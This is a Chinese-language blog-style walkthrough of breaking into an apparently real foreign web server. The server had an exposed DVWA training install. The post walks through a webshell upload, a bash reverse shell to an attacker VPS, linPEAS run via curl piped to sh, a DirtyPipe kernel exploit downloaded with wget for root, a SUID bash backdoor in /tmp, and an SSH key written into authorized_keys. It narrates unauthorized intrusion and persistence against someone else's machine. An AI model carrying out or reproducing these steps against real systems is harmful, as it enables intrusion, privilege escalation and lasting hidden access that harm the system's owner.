0x01获取webshell

在fofa闲逛时看到一处国外站点,我直呼好家伙image.png
首先使用dirseach进行目录扫描康康有没有黑客留下的后门:
image.png
好家伙,看到dvwa目录,瞬间就明白了什么,(DVWA是一款基于PHP和mysql开发的web靶场练习平台,集成了常见的web漏洞如sql注入,xss,密码破解等常见漏洞。)说明有人把靶场搭建到了公网上所以就立马被黑客挂上了黑页
访问setup.php文件,然后点击重置DVWA数据库
image.png
使用默认账号密码,admin,password登录:
image.png
先把安全等级调为low,方便上传webshell
image.png
拿下webshell为www权限,数据库为mysql可以考虑udf提权或者直接linux提权,
image.png
这里先使用linux提权,首先先反弹一个shell,原因是Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法 利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。
使用bash 反弹命令:bash -c 'bash -i >& /dev/tcp/xxxx/8888 <&2
监听vps端口 8888
image.png
获得一个半交互的shell
bash反弹的shell有很多问题

  • 无法使用vim等文本编辑器
  • 不能补全
  • 不能su
  • 没有向上箭头使用历史等
  • 不能ctrl+c

对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ (脏牛提权必须使用
我们已经可以使用su等命令
image.png
查看DVWA /config/config.inc.php下的配置文件查看数据库密码,检验是否存在密码复用情况。
image.png
尝试失败,继续提权

0x02提权-自动信息收集

linux提权.png
使用linPEAS进行信息收集https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
只需一行命令:

  1. curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

image.png
首先对基本信息uid 等查看
image.png
linux uid详解:

超级用户 UID=0 root UID号用于唯一标识系统中的用户,这是一个32位无符号整数,Linux规定root用户的UID为0,而其他的一些虚拟用户如bin,daermon等被分配到一些比较小的UID号,这些用户通常被安排在passwd文件的开头部分,从一个比较大的数开始分配真实用户的UID号是一个好习惯,这样能为虚拟用户提供足够的余地。 root:(账号名称):x(:账号密码):0(:账号UID):0(:账号GID):root(:用户说明):/root(:用户家目录):/bin/bash(:shell解析) 1、账号名称:和用户UID对应,这是用户登录时使用的账号名称,在系统中是唯一的,不能重复。 2、账号密码:早期的Unix系统中,该字段是存放账号密码的,由于安全原因,后来把这个密码字段内容移动到/etc/shadown中,这里可以看到一个字母表示该用户密码在/etc/shadown中保护 3、账户UID:账号UID一般由一个整数表示的,范围是0~65535。 4、账户GID:账号GID一般也是由一个整数表示的,范围是0~65535,当添加账户时,默认情况下会同时建立一个与用户同名且UID和GID相同的组。 5、用户说明:这个字段是对这个账号二队描述说明。 6、用户家目录:用户登录后首先进入的目录,一般为(/home/用户名)这样的目

查看linux内核为5.11.0, 操作系统版本ubantu20
image.png
环境变量信息:
image.png
suid标志位权限:

suid 就是能够让用户暂时变成 root权限去运行一下脚本软件等 suid guid详解:https://cxybb.com/article/weixin_31792645/116628947

这里除了pkexec好像没有发现可以用来suid提权的
image.png
查看建议利用的cve:
image.png
这里我直接挑一个最近才出的脏管道提权,漏洞原理:https://blog.csdn.net/weixin_44820088/article/details/123364275
这里是关于这个漏洞的简介:

此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据,从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。 Max 表示,“脏管道”漏洞与几年前的“脏牛”类似,所以采用了相似的名字,不过前者更容易被利用。此外,该漏洞目前已被黑客利用,研究人员建议尽快升级版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。

再结合前面搜集的内核版本信息,估计就知道大概提权稳了
exp:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
image.png
目标环境不存在gcc 编译环境所以我们可以先再本地编译好,上传vps上再用wget下载:
wget http://xxxx/exploit
chmod 777 exploit
image.png
提权成功!
image.png

0x03Linux权限维持

SUID Shell

SUID Shell是一种可用于以拥有者权限运行的shell
以root用户权限执行下面的命令

  • cp /bin/bash /tmp/shell
  • chmod u+s /tmp/shell #给程序的所有者suid权限,可以像root用户那样执行

image.png
在使用普通用户权限的时候,执行以下命令就能获取root权限
image.png
image.png

Linux权限维持-公钥免密登录

使用nmap对ip端口进行扫描,22端口开放,直接使用写入ssh公钥连接
image.png
ssh-keygen -t rsa //生成公钥
echo “ssh-rsa 公钥
“ >> ./authorized_keys //将id_rsa.pub内容放到.ssh/authorized_keys里
长谈的公钥免密登录,这种用法不止是用留后门,还可以在一些特殊情况下获取一个交互的shell,如struct写公钥,oracle写入公钥链接,Redis未授权访问等